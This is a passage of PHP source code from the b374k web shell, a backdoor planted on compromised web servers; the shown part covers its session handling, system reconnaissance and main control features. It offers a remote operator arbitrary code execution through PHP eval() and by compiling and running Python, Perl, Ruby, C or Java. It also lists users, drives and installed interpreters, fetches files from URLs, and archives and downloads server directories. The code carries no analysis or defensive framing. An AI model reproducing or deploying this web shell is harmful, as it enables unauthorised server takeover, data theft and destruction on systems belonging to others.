  748.     if($sqltype == 'mysql'){if(function_exists('mysql_close')) return mysql_close($con);}
  749.     elseif($sqltype == 'mssql'){
  750.         if(function_exists('mssql_close')) return mssql_close($con);
  751.         elseif(function_exists('sqlsrv_close')) return sqlsrv_close($con);
  752.     }
  753.     elseif($sqltype == 'pgsql'){if(function_exists('pg_close')) return pg_close($con);}
  754.     elseif($sqltype == 'oracle'){if(function_exists('oci_close')) return oci_close($con);}
  755.     elseif($sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $con->close();}
  756.     elseif($sqltype == 'sqlite'){if(function_exists('sqlite_close')) return sqlite_close($con);}
  757.     elseif($sqltype == 'odbc'){if(function_exists('odbc_close')) return odbc_close($con);}
  758.     elseif($sqltype == 'pdo'){if(class_exists('PDO')) return $con = null;}
  759. }
  760. if(!function_exists('str_split')){
  761.     function str_split($t,$s=1){
  762.         $a = array();
  763.         for($i=0;$i<strlen($t);){
  764.             $a[] = substr($t,$i,$s);
  765.             $i += $s;
  766.         }
  767.         return $a;
  768.     }
  769. }
  770.  
  771. // favicon
  772. if(isset($_REQUEST['favicon'])){
  773.     $data = gzinflate(base64_decode($favicon));
  774.     header("Content-type: image/png");
  775.     header("Cache-control: public");
  776.     echo $data;
  777.     exit;
  778. }
  779.  
  780. global $s_self;
  781. $s_self = "?";
  782.  
  783. $cek1 = basename($_SERVER['SCRIPT_FILENAME']);
  784. $cek2 = substr(basename(__FILE__),0,strlen($cek1));;
  785.  
  786. if(isset($_COOKIE['b374k_included'])){
  787.     if(strcmp($cek1,$cek2)!=0) $s_self = $_COOKIE['s_self'];
  788.     else{
  789.         $s_self = "?";
  790.         setcookie("b374k_included", "0" ,time() - $s_login_time);
  791.         setcookie("s_self", $s_self ,time() + $s_login_time);
  792.     }
  793. }
  794. else{
  795.     if(strcmp($cek1,$cek2)!=0){
  796.         if(!isset($_COOKIE['s_home'])){
  797.             $s_home = "?".$_SERVER["QUERY_STRING"]."&";
  798.             setcookie("s_home", $s_home ,time() + $s_login_time);
  799.         }
  800.         if(isset($s_home)) $s_self = $s_home;
  801.         elseif(isset($_COOKIE['s_home'])) $s_self = $_COOKIE['s_home'];
  802.         setcookie("b374k_included", "1" ,time() + $s_login_time);
  803.         setcookie("s_self", $s_self ,time() + $s_login_time);
  804.     }
  805.     else{
  806.         $s_self = "?";
  807.         setcookie("b374k_included", "0" ,time() - $s_login_time);
  808.         setcookie("s_self", $s_self ,time() + $s_login_time);
  809.     }
  810. }
  811.  
  812. if($s_auth){
  813.     // server software
  814.     $s_software = getenv("SERVER_SOFTWARE");
  815.     // uname -a
  816.     $s_system = php_uname();
  817.     // check os
  818.     $s_win = (strtolower(substr($s_system,0,3)) == "win")? true : false;
  819.     // change working directory
  820.     if(isset($_REQUEST['cd'])){
  821.         $dd = ss($_REQUEST['cd']);
  822.         if(is_dir($dd)){
  823.             $cwd = cp($dd);
  824.             chdir($cwd);
  825.             setcookie("cwd", $cwd ,time() + $s_login_time);
  826.         }
  827.     }
  828.     else{
  829.         if(isset($_COOKIE['cwd'])){
  830.             $dd = ss($_COOKIE['cwd']);
  831.             if(is_dir($dd)){
  832.                 $cwd = cp($dd);
  833.                 chdir($cwd);
  834.             }
  835.         }
  836.         else $cwd = cp(getcwd());
  837.     }
  838.     // get path and all drives available
  839.     $letters = '';
  840.     if(!$s_win){
  841.         if(!$s_user = rp(exe("whoami"))) $s_user = "";
  842.         if(!$s_id = rp(exe("id"))) $s_id = "";
  843.     }
  844.     else {
  845.         $s_user = get_current_user();
  846.         $s_id = $s_user;
  847.         // find drive letters
  848.         $v = explode("\\",$cwd);
  849.         $v = $v[0];
  850.         foreach (range("A","Z") as $letter){
  851.             if(is_dir($letter.":\\") && is_readable($letter.":\\")){
  852.                 $letters .= "<a href='".$s_self."cd=".$letter.":\\'>[ ";
  853.                 if ($letter.":" != $v) {$letters .= $letter;}
  854.                 else {$letters .= "<span style='color:#fff;'>".$letter."</span>";}
  855.                 $letters .= " ]</a> ";
  856.             }
  857.         }
  858.     }
  859.     // prompt style..
  860.     $s_prompt = $s_user." &gt;";
  861.     // check for posix
  862.     $s_posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false;
  863.     // server ip
  864.     $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]);
  865.     // your ip ;-)
  866.     $s_my_ip = $_SERVER['REMOTE_ADDR'];
  867.     $s_result = "";
  868.  
  869.     global $s_python, $s_perl, $s_ruby, $s_gcc, $s_java, $s_tar;
  870.     // check python
  871.     if(isset($_COOKIE['s_python'])){$s_python = $_COOKIE['s_python'];}
  872.     else{
  873.         $s_python = check_access("python");
  874.         setcookie("s_python", $s_python ,time() + $s_login_time);
  875.     }
  876.     $s_python = ($s_python=="1")?true:false;
  877.  
  878.     // check perl
  879.     if(isset($_COOKIE['s_perl'])){$s_perl = $_COOKIE['s_perl'];}
  880.     else{
  881.         $s_perl = check_access("perl");
  882.         setcookie("s_perl", $s_perl ,time() + $s_login_time);
  883.     }
  884.     $s_perl = ($s_perl=="1")?true:false;
  885.  
  886.     // check ruby
  887.     if(isset($_COOKIE['s_ruby'])){$s_ruby = $_COOKIE['s_ruby'];}
  888.     else{
  889.         $s_ruby = check_access("ruby");
  890.         setcookie("s_ruby", $s_ruby ,time() + $s_login_time);
  891.     }
  892.     $s_ruby = ($s_ruby=="1")?true:false;
  893.  
  894.     // check gcc
  895.     if(isset($_COOKIE['s_gcc'])){$s_gcc = $_COOKIE['s_gcc'];}
  896.     else{
  897.         $s_gcc = check_access("gcc");
  898.         setcookie("s_gcc", $s_gcc ,time() + $s_login_time);
  899.     }
  900.     $s_gcc = ($s_gcc=="1")?true:false;
  901.  
  902.     // check java
  903.     if(isset($_COOKIE['s_java'])){$s_java = $_COOKIE['s_java'];}
  904.     else{
  905.         $s_java = check_access("java");
  906.         setcookie("s_java", $s_java ,time() + $s_login_time);
  907.     }
  908.     $s_java = ($s_java=="1")?true:false;
  909.  
  910.     // check tar
  911.     if(isset($_COOKIE['s_tar'])){$s_tar = $_COOKIE['s_tar'];}
  912.     else{
  913.         $s_tar = check_access("tar");
  914.         setcookie("s_tar", $s_tar ,time() + $s_login_time);
  915.     }
  916.     $s_tar = ($s_tar=="1")?true:false;
  917.  
  918.     // sorttable.js
  919.     if(isset($_REQUEST['sorttable'])){
  920.         $data = gzinflate(base64_decode($sortable_js));
  921.         header("Content-type: text/javascript");
  922.         header("Cache-control: public");
  923.         echo $data;
  924.         exit;
  925.     }
  926.     if(!empty($_REQUEST['dltype']) && !empty($_REQUEST['dlpath'])){
  927.         $dltype = ss($_REQUEST['dltype']);
  928.         $dlpath = ss($_REQUEST['dlpath']);
  929.  
  930.         $dlname = basename($dlpath);
  931.         if($dlpath==".") $dlname=basename($cwd);
  932.         elseif($dlpath==".."){
  933.             chdir("..");
  934.             $dlname=basename(getcwd());
  935.             chdir($cwd);
  936.         }
  937.         $tmpdir = get_writabledir();
  938.         $dlarchive = $tmpdir.$dlname;
  939.         $dlthis = "";
  940.         if($dltype=="ziparchive"){
  941.             $dlarchive .= ".zip";
  942.             if(zip($dlpath,$dlarchive)){
  943.                 $dlthis = $dlarchive;
  944.             }
  945.         }
  946.         elseif($dltype=="tar"){
  947.             $dlarchive .= ".tar";
  948.             $dlarchive = str_replace('\\', '/', $dlarchive);
  949.             exe("tar cf ".$dlarchive." ".$dlpath);
  950.             $dlthis = $dlarchive;
  951.         }
  952.         elseif($dltype=="targz"){
  953.             $dlarchive .= ".tar.gz";
  954.             $dlarchive = str_replace('\\', '/', $dlarchive);
  955.             exe("tar czf ".$dlarchive." ".$dlpath);
  956.             $dlthis = $dlarchive;
  957.         }
  958.         elseif($dltype=="raw"){
  959.             if(is_file($dlpath)) $dlthis = $dlpath;
  960.         }
  961.  
  962.         if(is_file($dlthis)){
  963.             header("Content-Type: application/octet-stream");
  964.             header('Content-Transfer-Encoding: binary');
  965.             header("Content-length: ".@filesize($dlthis));
  966.             header("Content-disposition: attachment; filename=\"".basename($dlthis)."\";");
  967.             $file = @fopen($dlthis,"rb");
  968.             while(!feof($file)){
  969.                 print(@fread($file, 1024*8));
  970.                 ob_flush();
  971.                 flush();
  972.             }
  973.             fclose($file);
  974.  
  975.             if($dltype!="raw"){
  976.                 rename($dlthis,$dlthis."del");
  977.                 unlink($dlthis."del");
  978.             }
  979.             exit;
  980.         }
  981.     }
  982.     // view image specified by ?img=<file>
  983.     if(isset($_REQUEST['img'])){
  984.         ob_clean();
  985.         $d = ss($_REQUEST['d']);
  986.         $f = ss($_REQUEST['img']);
  987.         $inf = @getimagesize($d.$f);
  988.         $ext = explode($f,".");
  989.         $ext = $ext[count($ext)-1];
  990.         header("Content-type: ".$inf["mime"]);
  991.         header("Cache-control: public");
  992.         header("Expires: ".@date("r",@mktime(0,0,0,1,1,2030)));
  993.         header("Cache-control: max-age=".(60*60*24*7));#
  994.         readfile($d.$f);
  995.         exit;
  996.     }
  997.    
  998.     // rename file or folder
  999.     if(isset($_REQUEST['rename']) && isset($_REQUEST['oldname']) && isset($_REQUEST['newname'])){
  1000.         $old = ss($_REQUEST['oldname']);
  1001.         $new = ss($_REQUEST['newname']);
  1002.  
  1003.         $renmsg = "";
  1004.         if(is_dir($old)) $renmsg = (@rename($cwd.$old,$cwd.$new)) ? "Directory ".$old." renamed to ".$new : "Unable to rename directory ".$old." to ".$new;
  1005.         elseif(is_file($old)) $renmsg = (@rename($cwd.$old,$cwd.$new)) ? "File ".$old." renamed to ".$new : "Unable to rename file ".$old." to ".$new;
  1006.         else $renmsg = "Cannot find the path specified ".$old;
  1007.  
  1008.         $s_result .= "<p class='notif'>".$renmsg."</p>";
  1009.         $fnew = $cwd.$new;
  1010.     }
  1011.    
  1012.     // confirm delete
  1013.     if(!empty($_REQUEST['del'])){
  1014.         $del = trim($_REQUEST['del']);
  1015.         $s_result .= "<p class='notif'>Delete ".basename($del)." ? <a href='".$s_self."delete=".$del."'>Yes</a> | <a href='".$s_self."'>No</a></p>";
  1016.     }// delete file
  1017.     elseif(!empty($_REQUEST['delete'])){
  1018.         $f = ss($_REQUEST['delete']);
  1019.         $delmsg = "";
  1020.         if(is_file($f)){
  1021.             $delmsg = (unlink($f)) ? "File removed : ".$f : "Unable to remove file ".$f;
  1022.         }
  1023.         elseif(is_dir($f)){
  1024.             rmdirs($f);
  1025.             $delmsg = (is_dir($f)) ? "Unable to remove directory ".$f : "Directory removed : ".$f;
  1026.         }
  1027.         else $delmsg = "Cannot find the path specified ".$f;
  1028.         $s_result .= "<p class='notif'>".$delmsg."</p>";
  1029.     } // create dir
  1030.     elseif(!empty($_REQUEST['mkdir'])){
  1031.         $f = ss($cwd.ss($_REQUEST['mkdir']));
  1032.         $dirmsg = "";
  1033.         if(!is_dir($f)){
  1034.             mkdir($f);
  1035.             if(is_dir($f)) $dirmsg = "Directory created ".$f;
  1036.             else $dirmsg = "Unable to create directory ".$f;
  1037.         }
  1038.         else $dirmsg = "Directory already exists ".$f;
  1039.         $s_result .= "<p class='notif'>".$dirmsg."</p>";
  1040.     }
  1041.  
  1042.     // php eval() function
  1043.     if(isset($_REQUEST['eval'])){
  1044.         $code = "";
  1045.         $res = "";
  1046.         $gccoption = "";
  1047.         $lang = "php";
  1048.  
  1049.         if(isset($_REQUEST['evalcode'])){
  1050.             $code = ssc($_REQUEST['evalcode']);
  1051.             $gccoption = (isset($_REQUEST['gccoption']))? " ".ssc($_REQUEST['gccoption']):"";
  1052.             $tmpdir = get_writabledir();
  1053.  
  1054.             if(isset($_REQUEST['lang'])){$lang = $_REQUEST['lang'];}
  1055.  
  1056.             if(strtolower($lang)=='php'){
  1057.                 ob_start();
  1058.                 eval($code);
  1059.                 $res = ob_get_contents();
  1060.                 ob_end_clean();
  1061.             }
  1062.             elseif(strtolower($lang)=='python'||strtolower($lang)=='perl'||strtolower($lang)=='ruby'){
  1063.                 $rand = md5(time().rand(0,100));
  1064.                 $script = $tmpdir.$rand;
  1065.                 file_put_contents($script, $code);
  1066.                 if(is_file($script)){
  1067.                     $res = exe($lang." ".$script.$gccoption);
  1068.                     unlink($script);
  1069.                 }
  1070.             }
  1071.             elseif(strtolower($lang)=='gcc'){
  1072.                 $script = md5(time().rand(0,100));
  1073.                 chdir($tmpdir);
  1074.                 file_put_contents($script.".c", $code);
  1075.                 if(is_file($script.".c")){
  1076.                     $scriptout = $s_win ? $script.".exe" : $script;
  1077.                     $res = exe("gcc ".$script.".c -o ".$scriptout.$gccoption);
  1078.                     if(is_file($scriptout)){
  1079.                         $res = $s_win ? exe($scriptout) : exe("chmod +x ".$scriptout." ; ./".$scriptout);
  1080.                         rename($scriptout, $scriptout."del");
  1081.                         unlink($scriptout."del");
  1082.                     }
  1083.                     unlink($script.".c");
  1084.                 }
  1085.                 chdir($cwd);
  1086.             }
  1087.             elseif(strtolower($lang)=='java'){
  1088.                 if(preg_match("/class\ ([^{]+){/i",$code, $r)){
  1089.                     $classname = trim($r[1]);
  1090.                     $script = $classname;
  1091.                 }
  1092.                 else{
  1093.                     $rand = "b374k_".substr(md5(time().rand(0,100)),0,8);
  1094.                     $script = $rand;
  1095.                     $code = "class ".$rand." { ".$code . " } ";
  1096.                 }
  1097.                 chdir($tmpdir);
  1098.                 file_put_contents($script.".java", $code);
  1099.                 if(is_file($script.".java")){
  1100.                     $res = exe("javac ".$script.".java");
  1101.                     if(is_file($script.".class")){
  1102.                         $res .= exe("java ".$script.$gccoption);
  1103.                         unlink($script.".class");
  1104.                     }
  1105.                     unlink($script.".java");
  1106.                 }
  1107.                 chdir($pwd);
  1108.             }
  1109.         }
  1110.  
  1111.         $lang_available = "<option value='php'>php</option>";
  1112.         $selected = "";
  1113.         if($s_python){
  1114.             $checked = ($lang == "python") ? "selected" : "";
  1115.             $lang_available .= "<option value='python' ".$checked.">python</option>";
  1116.         }
  1117.         if($s_perl){
  1118.             $checked = ($lang == "perl") ? "selected" : "";
  1119.             $lang_available .= "<option value='perl' ".$checked.">perl</option>";
  1120.         }
  1121.         if($s_ruby){
  1122.             $checked = ($lang == "ruby") ? "selected" : "";
  1123.             $lang_available .= "<option value='ruby' ".$checked.">ruby</option>";
  1124.         }
  1125.         if($s_gcc){
  1126.             $checked = ($lang == "gcc") ? "selected" : "";
  1127.             $lang_available .= "<option value='gcc' ".$checked.">c</option>";
  1128.         }
  1129.         if($s_java){
  1130.             $checked = ($lang == "java") ? "selected" : "";
  1131.             $lang_available .= "<option value='java' ".$checked.">java</option>";
  1132.         }
  1133.         $gccoptionclass = ($lang=="php")? "sembunyi":"";
  1134.         $e_result = (!empty($res)) ? "<pre id='evalres' style='border-top:1px solid #393939;margin:4px 0 0 0;padding:6px 0;' >".hss($res)."</pre>":"";
  1135.         $s_result .= "<form action='".$s_self."' method='post'>
  1136.                     <textarea id='evalcode' name='evalcode' style='height:150px;' class='txtarea'>".hss($code)."</textarea>
  1137.                     <table><tr><td style='padding:0;'><p><input type='submit' name='evalcodesubmit' class='inputzbut' value='Go !' style='width:120px;height:30px;' /></p>
  1138.                     </td><td><select name='lang' onchange='evalselect(this);' class='inputzbut' style='width:120px;height:30px;padding:4px;'>
  1139.                     ".$lang_available."
  1140.                     </select>
  1141.                     </td>
  1142.                     <td><div id='additionaloption' class='".$gccoptionclass."'>Additional option<input class='inputz' style='width:400px;' type='text' name='gccoption' value='".hss($gccoption)."' title='If you want to give additional option to interpreter or compiler, give it here' id='gccoption' /></div></td>
  1143.                     </tr>
  1144.                     </table>
  1145.                     ".$e_result."
  1146.                     <input type='hidden' name='eval' value='' />
  1147.                     </form>
  1148.                     ";
  1149.     }
  1150.     // find
  1151.     elseif(isset($_REQUEST['find'])){
  1152.         $p = cp($_REQUEST['find']);
  1153.  
  1154.         $type = isset($_REQUEST['type']) ? $_REQUEST['type'] : "sfile";
  1155.         $sfname = (!empty($_REQUEST['sfname']))?ssc($_REQUEST['sfname']):'';
  1156.         $sdname = (!empty($_REQUEST['sdname']))?ssc($_REQUEST['sdname']):'';
  1157.         $sfcontain = (!empty($_REQUEST['sfcontain']))?ssc($_REQUEST['sfcontain']):'';
  1158.  
  1159.         $sfnameregexchecked=$sfnameicasechecked=$sdnameregexchecked=$sdnameicasechecked=$sfcontainregexchecked=$sfcontainicasechecked=$swritablechecked=$sreadablechecked=$sexecutablechecked="";
  1160.         $sfnameregex=$sfnameicase=$sdnameregex=$sdnameicase=$sfcontainregex=$sfcontainicase=$swritable=$sreadable=$sexecutable=false;
  1161.  
  1162.         if(isset($_REQUEST['sfnameregex'])){$sfnameregex=true;$sfnameregexchecked="checked";}
  1163.         if(isset($_REQUEST['sfnameicase'])){$sfnameicase=true;$sfnameicasechecked="checked";}
  1164.         if(isset($_REQUEST['sdnameregex'])){$sdnameregex=true;$sdnameregexchecked="checked";}
  1165.         if(isset($_REQUEST['sdnameicase'])){$sdnameicase=true;$sdnameicasechecked="checked";}
  1166.         if(isset($_REQUEST['sfcontainregex'])){$sfcontainregex=true;$sfcontainregexchecked="checked";}
  1167.         if(isset($_REQUEST['sfcontainicase'])){$sfcontainicase=true;$sfcontainicasechecked="checked";}
  1168.         if(isset($_REQUEST['swritable'])){$swritable=true;$swritablechecked="checked";}
  1169.         if(isset($_REQUEST['sreadable'])){$sreadable=true;$sreadablechecked="checked";}
  1170.         if(isset($_REQUEST['sexecutable'])){$sexecutable=true;$sexecutablechecked="checked";}
  1171.  
  1172.         $sexecb = (function_exists("is_executable")) ? "<input type='checkbox' name='sexecutable' value='sexecutable' id='se' ".$sexecutablechecked." /><label for='se'>Executable</span>":"";
  1173.  
  1174.         $candidate = array();
  1175.         if(isset($_REQUEST['sgo'])){
  1176.             $af = "";
  1177.  
  1178.             $candidate = getallfiles($p);
  1179.             if($type=='sfile') $candidate = array_filter($candidate, "is_file");
  1180.             elseif($type=='sdir') $candidate = array_filter($candidate, "is_dir");
  1181.  
  1182.             foreach($candidate as $a){
  1183.                 if($type=='sdir'){
  1184.                     if(!empty($sdname)){
  1185.                         if($sdnameregex){
  1186.                             if($sdnameicase){if(!preg_match("/".$sdname."/i", basename($a))) $candidate = array_diff($candidate,array($a));}
  1187.                             else{if(!preg_match("/".$sdname."/", basename($a))) $candidate = array_diff($candidate,array($a));}
  1188.                         }
  1189.                         else{
  1190.                             if($sdnameicase){if(strpos(strtolower(basename($a)),strtolower($sdname))===false) $candidate = array_diff($candidate,array($a));}
  1191.                             else{if(strpos(basename($a),$sdname)===false) $candidate = array_diff($candidate,array($a));}
  1192.                         }
  1193.                     }
  1194.                 }
  1195.                 elseif($type=='sfile'){
  1196.                     if(!empty($sfname)){
  1197.                         if($sfnameregex){
  1198.                             if($sfnameicase){if(!preg_match("/".$sfname."/i", basename($a))) $candidate = array_diff($candidate,array($a));}
  1199.                             else{if(!preg_match("/".$sfname."/", basename($a))) $candidate = array_diff($candidate,array($a));}
  1200.                         }
  1201.                         else{
  1202.                             if($sfnameicase){if(strpos(strtolower(basename($a)),strtolower($sfname))===false) $candidate = array_diff($candidate,array($a));}
  1203.                             else{if(strpos(basename($a),$sfname)===false) $candidate = array_diff($candidate,array($a));}
  1204.                         }
  1205.                     }
  1206.                     if(!empty($sfcontain)){
  1207.                         $sffcontent = @file_get_contents($a);
  1208.                         if($sfcontainregex){
  1209.                             if($sfcontainicase){if(!preg_match("/".$sfcontain."/i", $sffcontent)) $candidate = array_diff($candidate,array($a));}
  1210.                             else{if(!preg_match("/".$sfcontain."/",  $sffcontent)) $candidate = array_diff($candidate,array($a));}
  1211.                         }
  1212.                         else{
  1213.                             if($sfcontainicase){if(strpos(strtolower($sffcontent),strtolower($sfcontain))===false) $candidate = array_diff($candidate,array($a));}
  1214.                             else{if(strpos($sffcontent,$sfcontain)===false) $candidate = array_diff($candidate,array($a));}
  1215.                         }
  1216.                     }
  1217.                 }
  1218.             }
  1219.         }
  1220.  
  1221.         $f_result = "";$link="";
  1222.         foreach($candidate as $c){
  1223.             $c=trim($c);
  1224.             if($swritable && !is_writable($c)) continue;
  1225.             if($sreadable && !is_readable($c)) continue;
  1226.             if($sexecutable && !is_executable($c)) continue;
  1227.             if($type=="sfile") $link = $s_self."cd=".cp(dirname($c))."&view=".basename($c);
  1228.             elseif($type=="sdir") $link = $s_self."cd=".cp($c);
  1229.             $f_result .= "<p class='notif' onmouseup=\"return go('".addslashes($link)."',event);\"><a href='".$link."' target='_blank'>".$c."</a></p>";
  1230.         }
  1231.  
  1232.         $tsdir = ($type=="sdir")? "selected":"";
  1233.         $tsfile = ($type=="sfile")? "selected":"";
  1234.  
  1235.         if(!is_dir($p)) $s_result .= "<p class='notif'>Cannot find the path specified ".$p."</p>";
  1236.         $s_result .= "<form action='".$s_self."' method='post'>
  1237.         <div class='mybox'><h2>Find</h2>
  1238.         <table class='myboxtbl'>
  1239.         <tr><td style='width:140px;'>Search in</td>
  1240.         <td colspan='2'><input style='width:100%;' value='".hss($p)."' class='inputz' type='text' name='find' /></td></tr>
  1241.         <tr onclick=\"findtype('sdir');\">
  1242.             <td>Dirname contains</td>
  1243.             <td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sdname' value='".hss($sdname)."' /></td>
  1244.             <td>
  1245.                 <input type='checkbox' name='sdnameregex' id='sdn' ".$sdnameregexchecked." /><label for='sdn'>Regex (pcre)</label>
  1246.                 <input type='checkbox' name='sdnameicase' id='sdi' ".$sdnameicasechecked." /><label for='sdi'>Case Insensitive</label>
  1247.             </td>
  1248.         </tr>
  1249.         <tr onclick='findtype('sfile');'>
  1250.             <td>Filename contains</td>
  1251.             <td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfname' value='".hss($sfname)."' /></td>
  1252.             <td>
  1253.                 <input type='checkbox' name='sfnameregex'  id='sfn' ".$sfnameregexchecked." /><label for='sfn'>Regex (pcre)</label>
  1254.                 <input type='checkbox' name='sfnameicase'  id='sfi' ".$sfnameicasechecked." /><label for='sfi'>Case Insensitive</label>
  1255.             </td>
  1256.         </tr>
  1257.         <tr onclick=\"findtype('sfile');\">
  1258.             <td>File contains</td>
  1259.             <td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfcontain' value='".hss($sfcontain)."' /></td>
  1260.             <td>
  1261.                 <input type='checkbox' name='sfcontainregex' id='sff' ".$sfcontainregexchecked." /><label for='sff'>Regex (pcre)</label>
  1262.                 <input type='checkbox' name='sfcontainicase' id='sffi' ".$sfcontainicasechecked." /><label for='sffi'>Case Insensitive</label>
  1263.             </td>
  1264.         </tr>
  1265.         <tr>
  1266.             <td>Permissions</td>
  1267.             <td colspan='2'>
  1268.                 <input type='checkbox' name='swritable' id='sw' ".$swritablechecked." /><label for='sw'>Writable</label>
  1269.                 <input type='checkbox' name='sreadable' id='sr' ".$sreadablechecked." /><label for='sr'>Readable</label>
  1270.                 ".$sexecb."
  1271.             </td>
  1272.         </tr>
  1273.         <tr><td colspan='3'>
  1274.         <input type='submit' name='sgo' class='inputzbut' value='Search !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  1275.         <select name='type' id='type' class='inputzbut' style='width:120px;height:30px;margin:10px 2px 0 2px;'>
  1276.             <option value='sfile' ".$tsfile.">Search file</option>
  1277.             <option value='sdir' ".$tsdir.">Search dir</option>
  1278.         </select>
  1279.         </td></tr>
  1280.         </table>
  1281.         </div>
  1282.         </form>
  1283.         <div>
  1284.         ".$f_result."
  1285.         </div>
  1286.         ";
  1287.     }
  1288.     // upload !
  1289.     elseif(isset($_REQUEST['upload'])){
  1290.         $s_result = " ";
  1291.         $msg = "";
  1292.         if(isset($_REQUEST['uploadhd'])){
  1293.             $fn = $_FILES['filepath']['name'];
  1294.             if(is_uploaded_file($_FILES['filepath']['tmp_name'])){
  1295.                 $p = cp(ss($_REQUEST['savefolder']));
  1296.                 if(!is_dir($p)) $p = cp(dirname($p));
  1297.                 if(isset($_REQUEST['savefilename']) && (trim($_REQUEST['savefilename'])!="")) $fn = ss($_REQUEST['savefilename']);
  1298.                 $tm = $_FILES['filepath']['tmp_name'];
  1299.                 $pi = cp($p).$fn;
  1300.                 $st = @move_uploaded_file($tm,$pi);
  1301.                 if($st) $msg = "<p class='notif'>File uploaded to <a href='".$s_self."view=".basename($pi)."'>".$pi."</a></p>";
  1302.                 else $msg = "<p class='notif'>Failed to upload ".$fn."</p>";
  1303.             }
  1304.             else $msg = "<p class='notif'>Failed to upload ".$fn."</p>";
  1305.         }
  1306.         elseif(isset($_REQUEST['uploadurl'])){
  1307.             // function dlfile($url,$fpath){
  1308.             $p = cp(ss($_REQUEST['savefolderurl']));
  1309.             if(!is_dir($p)) $p = cp(dirname($p));
  1310.             $fu = ss($_REQUEST['fileurl']);
  1311.             $fn = basename($fu);
  1312.             if(isset($_REQUEST['savefilenameurl']) && (trim($_REQUEST['savefilenameurl'])!="")) $fn = ss($_REQUEST['savefilenameurl']);
  1313.             $fp = cp($p).$fn;
  1314.             $st = dlfile($fu,$fp);
  1315.             if($st) $msg = "<p class='notif'>File uploaded to <a href='".$s_self."view=".basename($fp)."'>".$fp."</a></p>";
  1316.             else $msg = "<p class='notif'>Failed to upload ".$fn."</p>";
  1317.         }
  1318.         else{
  1319.             if(!is_writable($cwd)) $msg = "<p class='notif'>Directory ".$cwd." is not writable, please change to a writable one</p>";
  1320.         }
  1321.  
  1322.         if(!empty($msg)) $s_result .= $msg;
  1323.         $s_result .= "
  1324.             <form action='".$s_self."upload' method='post' enctype='multipart/form-data'>
  1325.             <div class='mybox'><h2>Upload from computer</h2>
  1326.             <table class='myboxtbl'>
  1327.             <tr><td style='width:140px;'>File</td><td><input type='file' name='filepath' class='inputzbut' style='width:400px;margin:0;' />
  1328.             </td></tr>
  1329.             <tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolder' value='".$cwd."' /></td></tr>
  1330.             <tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilename' value='' /></td></tr>
  1331.             <tr><td>&nbsp;</td><td>
  1332.             <input type='submit' name='uploadhd' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  1333.             </td></tr>
  1334.             </table>
  1335.             </div>
  1336.             </form>
  1337.             <form action='".$s_self."upload' method='post'>
  1338.             <div class='mybox'><h2>Upload from internet</h2>
  1339.             <table class='myboxtbl'>
  1340.             <tr><td style='width:150px;'>File URL</td><td><input style='width:100%;' class='inputz' type='text' name='fileurl' value='' />
  1341.             </td></tr>
  1342.             <tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolderurl' value='".$cwd."' /></td></tr>
  1343.             <tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilenameurl' value='' /></td></tr>
  1344.             <tr><td>&nbsp;</td><td>
  1345.             <input type='submit' name='uploadurl' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  1346.             </td></tr>
  1347.             </table>
  1348.             </div>
  1349.             </form>
  1350.             ";
  1351.     } // view file
  1352.     elseif(isset($_REQUEST['view'])){
  1353.         $f = ss($_REQUEST['view']);
  1354.         if(isset($fnew) && (trim($fnew)!="")) $f = $fnew;
  1355.         $owner = "";
  1356.         if(is_file($f)){
  1357.             if(!$s_win && $s_posix){
  1358.                 $name = posix_getpwuid(fileowner($f));
  1359.                 $group = posix_getgrgid(filegroup($f));
  1360.                 $owner = "<tr><td>Owner</td><td>".$name['name']."<span class='gaya'> : </span>".$group['name']."</td></tr>";
  1361.             }
  1362.             $filn = basename($f);
  1363.             $dlfile = get_archiver_available();
  1364.             $dlfile = str_replace("__dlpath__",$filn,$dlfile);
  1365.             $dlfile = str_replace("__dlcwd__",$cwd,$dlfile);
  1366.             $s_result .= "<table class='viewfile' style='width:100%;'>
  1367.             <tr><td style='width:140px;'>Filename</td><td><span id='".cs($filn)."_link'>".$filn."</span>
  1368.             <div id='".cs($filn)."_form' class='sembunyi'>
  1369.             <form action='".$s_self."view=".basename($f)."' method='post'>
  1370.                 <input type='hidden' name='oldname' value='".$filn."' style='margin:0;padding:0;' />
  1371.                 <input class='inputz' style='width:200px;' type='text' name='newname' value='".$filn."' />
  1372.                 <input class='inputzbut' type='submit' name='rename' value='rename' />
  1373.             </form>
  1374.             <input class='inputzbut' type='button' value='x' onclick=\"tukar('".cs($filn)."_form','".cs($filn)."_link');\" />
  1375.             </div>
  1376.             </td></tr>
  1377.             <tr><td>Size</td><td>".gs($f)." (".@filesize($f).")</td></tr>
  1378.             <tr><td>Permission</td><td>".gp($f)."</td></tr>
  1379.             ".$owner."
  1380.             <tr><td>Create time</td><td>".@date("d-M-Y H:i",filectime($f))."</td></tr>
  1381.             <tr><td>Last modified</td><td>".@date("d-M-Y H:i",filemtime($f))."</td></tr>
  1382.             <tr><td>Last accessed</td><td>".@date("d-M-Y H:i",fileatime($f))."</td></tr>
  1383.             <tr><td>Actions</td><td>
  1384.             <a href='".$s_self."edit=".realpath($f)."' title='edit'>edit</a> |
  1385.             <a href='".$s_self."hexedit=".realpath($f)."' title='edit as hex'>hex</a> |
  1386.             <a href=\"javascript:tukar('".cs($filn)."_link','".cs($filn)."_form');\" title='rename'>ren</a> |
  1387.             <a href='".$s_self."del=".$filn."' title='delete'>del</a> ".$dlfile."
  1388.             </td></tr>
  1389.             <tr><td>View</td><td>
  1390.             <a href='".$s_self."view=".$filn."&type=text'>text</a> |
  1391.             <a href='".$s_self."view=".$filn."&type=code'>code</a> |
  1392.             <a href='".$s_self."view=".$filn."&type=image'>image</a></td></tr>
  1393.             </table>
  1394.             ";
  1395.  
  1396.             $t = "";
  1397.             $iinfo = @getimagesize($f);
  1398.             if(substr($filn,-3,3) == "php") $t = "code";
  1399.             if(is_array($iinfo)) $t = 'image';
  1400.  
